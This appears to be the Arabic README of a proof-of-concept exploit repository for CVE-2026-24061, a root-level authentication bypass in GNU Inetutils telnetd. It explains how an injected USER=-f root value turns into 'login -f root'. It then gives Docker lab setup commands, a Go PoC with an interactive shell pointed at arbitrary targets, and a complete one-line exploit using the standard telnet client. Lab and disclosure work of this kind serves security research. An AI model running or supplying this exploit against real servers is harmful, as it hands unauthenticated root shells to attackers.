
استغلال لإثبات المفهوم لتجاوز المصادقة في telnetd الخاص بـ GNU Inetutils (CVE-2026-24061) مع إعداد مختبر Docker وPoC بلغة Go. يستغل خيار NEW-ENVIRON للحصول على قشرة جذر (root shell).
حقًا، telnet في 2026؟ بحقكم، حان وقت التقدم. SSH موجود منذ 1995. 🤦
ثغرة حرجة في تجاوز المصادقة في GNU Inetutils telnetd تؤثر على الإصدارات من 1.9.3 حتى 2.7.
تستغل الثغرة خيار telnet الخاص بـ NEW-ENVIRON لحقن وسائط خبيثة في login(1). من خلال تعيين USER=-f root عبر بروتوكول telnet، يمكن للمهاجم تجاوز المصادقة والحصول على شل جذر (root shell) دون بيانات اعتماد.
يدعم بروتوكول telnet خيار NEW-ENVIRON (RFC 1572) الذي يسمح للعميل بإرسال متغيرات البيئة إلى الخادم. يمرر البرنامج الخفي telnetd متغير USER إلى login(1) كوسيط.
عند إرسال USER=-f root، تُفسَّر القيمة على النحو التالي:
-f: تخطي المصادقة (مضيف موثوق)root: المستخدم المستهدفيؤدي هذا إلى تنفيذ login -f root، مما يمنح وصولًا فوريًا بصلاحيات الجذر.
يكتشف إثبات المفهوم (PoC) نجاح الاستغلال من خلال التحقق من IAC WILL ECHO (0xff 0xfb 0x01) - إشارة البروتوكول التي يرسلها الخادم عند منح الوصول إلى الشل.
# Build and run the vulnerable telnetd container
docker compose up --build -d
# Test the exploit
go run poc.go 127.0.0.1 2323
# Using the Go PoC (with interactive shell)
go run poc.go <target> <port>
# Simple PoC using standard telnet client
env USER='-f root' telnet -a <target> <port>
poc.go - استغلال Go مع شل تفاعليDockerfile - حاوية telnetd قابلة للاستغلالdocker-compose.yml - تنسيق المختبر